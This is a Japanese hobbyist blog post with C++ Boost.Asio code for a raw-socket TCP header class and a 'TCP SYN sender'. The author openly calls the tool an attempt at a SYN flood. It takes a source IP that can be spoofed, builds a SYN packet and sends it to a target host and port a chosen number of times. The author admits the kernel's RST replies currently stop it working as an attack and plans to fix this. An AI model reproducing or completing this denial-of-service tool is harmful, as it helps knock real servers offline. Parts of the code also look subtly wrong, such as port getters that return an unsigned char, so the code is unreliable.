TCP Header class

とりあえず前の投稿の内容 + 下記のtcp_header.hpp とで一応SYN flood らしきものが作れました。
ただシステムコールレベルで socket(AF_INET, SOCK_RAW, IPPROTO_TCP) を使用していて、IP_HDRINCL を有効にしていないためか、
カーネルが勝手にRST を送信してSYN floodで重要なsyn -> ack -> 放置、のはずがRSTで終了されるので攻撃になってない状態です。

以下が tcp_header.hpp ですが将来的にはTCP Header optionにも対応したいので冗長な部分が多々有りますが、
気にしない方向で...

ー 追記 ー
io_service.reset() よばないといけないよね...
tcp_header.hpp は途中でLinuxかそれ以外で分岐してますがLinuxでないとコンパイルが通らないと思う...
下にある本体のソースはWindowsがraw socketに対してIPPROTO_TCPの使用を
サポートしていないようでコンパイルは出来ましたが例外を投げて動かなかった気がします。

#ifndef TCP_HEADER_HPP
#define TCP_HEADER_HPP 1

//
//   0                   1                   2                   3
//   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
//  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//  |          Source Port          |       Destination Port        |
//  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//  |                        Sequence Number                        |
//  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//  |                    Acknowledgment Number                      |
//  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//  |  Data |           |U|A|P|R|S|F|                               |
//  | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
//  |       |           |G|K|H|T|N|N|                               |
//  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//  |           Checksum            |         Urgent Pointer        |
//  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//  |                    Options                    |    Padding    |
//  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//  |                             data                              |
//  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//
//           TCP Header Format From the Figure 3 of RFC 793
//

#include <string>
#include <iostream>
#include <fstream>
#include <algorithm>
#ifdef __linux
#include <netinet/tcp.h>
#include <netdb.h>
#else
#include <winsock2.h>
   struct tcphdr {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_ptr;
  };
#endif  //linux
#include <boost/asio.hpp>

static unsigned short checksum(unsigned short *buf, int bufsz) {
    unsigned long sum = 0;
    while( bufsz > 1 ) {
        sum += *buf++;
        bufsz -= 2;
    }
    if( bufsz == 1 )
        sum += *(unsigned char *)buf;
    sum = (sum & 0xffff) + (sum >> 16);
    sum = (sum & 0xffff) + (sum >> 16);
    return ~sum;
}

class tcp_header {
public:
  
	tcp_header() : auto_fill_(false), hdrlen_(sizeof(struct tcphdr)), rep_{0} {}
	tcp_header(std::string srcaddr, std::string dstaddr) : auto_fill_(true),
        hdrlen_(sizeof(struct tcphdr)), saddr_(srcaddr), daddr_(dstaddr), rep_{0} {}
    ~tcp_header() {}

    unsigned char source() const { return ntohs(rep_.source); }
    unsigned char dest() const { return ntohs(rep_.dest); }
    unsigned int seq() const { return ntohl(rep_.seq); }
    unsigned int ack_seq() const { return ntohl(rep_.ack_seq); }
    unsigned short res1() const { return rep_.res1; }
    unsigned short doff() const { return rep_.doff; }
    unsigned short fin() const { return rep_.fin; }
    unsigned short syn() const { return rep_.syn; }
    unsigned short rst() const { return rep_.rst; }
    unsigned short psh() const { return rep_.psh; }
    unsigned short ack() const { return rep_.ack; }
    unsigned short urg() const { return rep_.urg; }
    unsigned short res2() const { return rep_.res2; }
    unsigned short window() const { return ntohs(rep_.window); }
    unsigned short check() const { return ntohs(rep_.check); }
    unsigned short urg_ptr() const { return ntohs(rep_.urg_ptr); }

    void source(unsigned short source) { rep_.source = htons(source); }
    void dest(unsigned short dest) { rep_.dest = htons(dest); }
    void seq(unsigned int seq) { rep_.seq = htonl(seq); }
    void ack_seq(unsigned int ack_seq) { rep_.ack_seq = htonl(ack_seq); }
    void res1(unsigned short res1) { rep_.res1 = res1; }
    void doff(unsigned short doff) { rep_.doff = doff; }
    void fin(bool fin) { rep_.fin = (fin) ? 1 : 0; }
    void syn(bool syn) { rep_.syn = (syn) ? 1 : 0; }
    void rst(bool rst) { rep_.rst = (rst) ? 1 : 0; }
    void psh(bool psh) { rep_.psh = (psh) ? 1 : 0; }
    void ack(bool ack) { rep_.ack = (ack) ? 1 : 0; }
    void urg(unsigned short urg) { rep_.urg = urg; }
    void res2(unsigned short res2) { rep_.res2 = res2; }
    void window(unsigned short window) { rep_.window = htons(window); }
    void check(unsigned short check) { rep_.check = htons(check); }
    void urg_ptr(unsigned short urg_ptr) { rep_.urg_ptr = htons(urg_ptr); }

    void auto_fill(bool af = true) { auto_fill_ = af; }
    int length() const { return hdrlen_; }
    const struct tcphdr& get() const { return rep_; }

    void compute_checksum() {
        if( !saddr_.length() || !daddr_.length() )
            throw std::runtime_error("Source or destination address is empty");
        compute_checksum(saddr_, daddr_);
    }
        
    void compute_checksum(std::string srcaddr, std::string destaddr) {
        check(0);
        tcp_checksum tc = { {0}, {0} };
        tc.pseudo.ip_src   = htonl(boost::asio::ip::address_v4::from_string(srcaddr).to_ulong());
        tc.pseudo.ip_dst   = htonl(boost::asio::ip::address_v4::from_string(destaddr).to_ulong());
        tc.pseudo.zero     = 0;
        tc.pseudo.protocol = IPPROTO_TCP;
        tc.pseudo.length   = htons(sizeof(tcphdr));
        tc.tcphdr = rep_;
        rep_.check = (checksum(reinterpret_cast<unsigned short*>(&tc), sizeof(struct tcp_checksum)));
    }
    
    friend std::istream& operator>>(std::istream& is, tcp_header& header) {
        return is.read(reinterpret_cast<char*>(&(header.rep_)), header.length());
    }

    friend std::ostream& operator<<(std::ostream& os, tcp_header& header) {
        if( header.auto_fill_ ) {
            header.doff( header.length() / 4 );
            header.compute_checksum();
        }
        return os.write(reinterpret_cast<char*>(&(header.rep_)), header.length());
    }

private:

    //
    //  +--------+--------+--------+--------+
    //  |           Source Address          |
    //  +--------+--------+--------+--------+
    //  |         Destination Address       |
    //  +--------+--------+--------+--------+
    //  |  zero  |  PTCL  |    TCP Length   |
    //  +--------+--------+--------+--------+
    //
    //       TCP PSEUDO HEADER FROM RFC 793
    //
    struct tcph_pseudo {      // TCP pseudo header for header checksum
            unsigned int ip_src;        // Source IP address
            unsigned int ip_dst;        // Destination IP address
            unsigned int zero:8;        // Always 0
            unsigned int protocol:8;    // IPPROTO_TCP
            unsigned int length:16;     // tcp header length + payload length (Not contained pseudo header)
    };

    struct tcp_checksum {
            struct tcph_pseudo pseudo;
            struct tcphdr tcphdr;
     };
    
    bool auto_fill_;
    int hdrlen_;
    std::string saddr_, daddr_;
    struct tcphdr rep_;
};

#endif  // TCP_HEADER_HPP

そしてこれを使った簡単なソースがこちら。TCPヘッダーの値は乱数で埋める方がいい。raw_tcp.hppは以前の投稿のを使用。


#include <iostream>
#include <fstream>
#include <string>
#include <stdexcept>
#include <boost/asio.hpp>
#include <boost/bind.hpp>
#include <boost/format.hpp>
#include "raw_tcp.hpp"
#include "tcp_header.hpp"

// Return resolved string of IP address by using template parameter, protocol
template< typename protocol = boost::asio::ip::tcp >
std::string hostname_resolver(const char* hostname, std::string hint = "")
{
    boost::asio::io_service io_service;
    typename protocol::resolver resolver(io_service);
    typename protocol::resolver::query squery(hostname, hint.c_str());
    typename protocol::resolver::iterator it = resolver.resolve(squery);
    return it->endpoint().address().to_string();
}

int main(int argc, char **argv)
{
    try {
        std::cout << "TCP SYN sender" << std::endl;
        if( argc < 5 )
            throw std::string("Arguments are too few");

        std::cout << "TCP packet with SYN flag: " << argv[1] << " -> " << argv[2] << ':' << argv[3] << " times=" << argv[4] << std::endl;
        // Resolve hostname by using boost::asio::ip::raw_tcp
        std::string result = hostname_resolver<boost::asio::ip::raw_tcp>(argv[2]);
        std::cout << "hostname: " << argv[2] << "=" << result << std::endl;
        
        // Make endpoint of boost::asio::ip::ether
        boost::asio::io_service io_service;
        boost::asio::ip::raw_tcp::socket socket(io_service, boost::asio::ip::raw_tcp::v4());
        boost::asio::ip::raw_tcp::resolver resolver(io_service);
        boost::asio::ip::raw_tcp::resolver::query query(boost::asio::ip::raw_tcp::v4(), argv[2], "");
        boost::asio::ip::raw_tcp::endpoint destination = *resolver.resolve(query);

        // Create syn packets and send them to the target
        boost::asio::streambuf request_buffer;
        std::ostream os(&request_buffer);
        tcp_header syn_packet(argv[1], result);
        syn_packet.source(34393);
        syn_packet.dest(atoi(argv[3]));
        syn_packet.doff(20/4);
        syn_packet.syn(true);
        syn_packet.seq(0x81b4b626);
        syn_packet.window(32792);
        os << syn_packet;
        int num = atoi(argv[4]);
        for( int i = 1; i <= num; ++i ) {
            socket.send_to(request_buffer.data(), destination);
            // "\033[2K" - Escape Sequence to move the cursor to the begin of line
            std::cout << "\033[100D" << "[*] Sent TCP(SYN) packet to " << result << " seq=" << i << std::flush;
            io_service.run();
            io_service.reset();
        }
    } catch( std::exception &e ) {
        std::cerr << std::endl << " [-] Exception: " << e.what() << std::endl;
    } catch( std::string &e ) {
        std::cerr << " [-] Exception: " << e << std::endl;
        std::cout << "Usage: " << argv[0] << " SRC_IP DEST_IP PORT NUM" << std::endl;
    }
    return 0;
}


これを実行するとこんな結果がwiresharkで確認できるはず。
#192.168.2.1のアドレスで192.168.2.2:139 にSYNパケットを1つ送信。
$ sudo ./a.out 192.168.2.1 192.168.2.2 139 1

Wiresharkでの結果:

手抜きも多いし、つぎは正しい実装に直さなければ。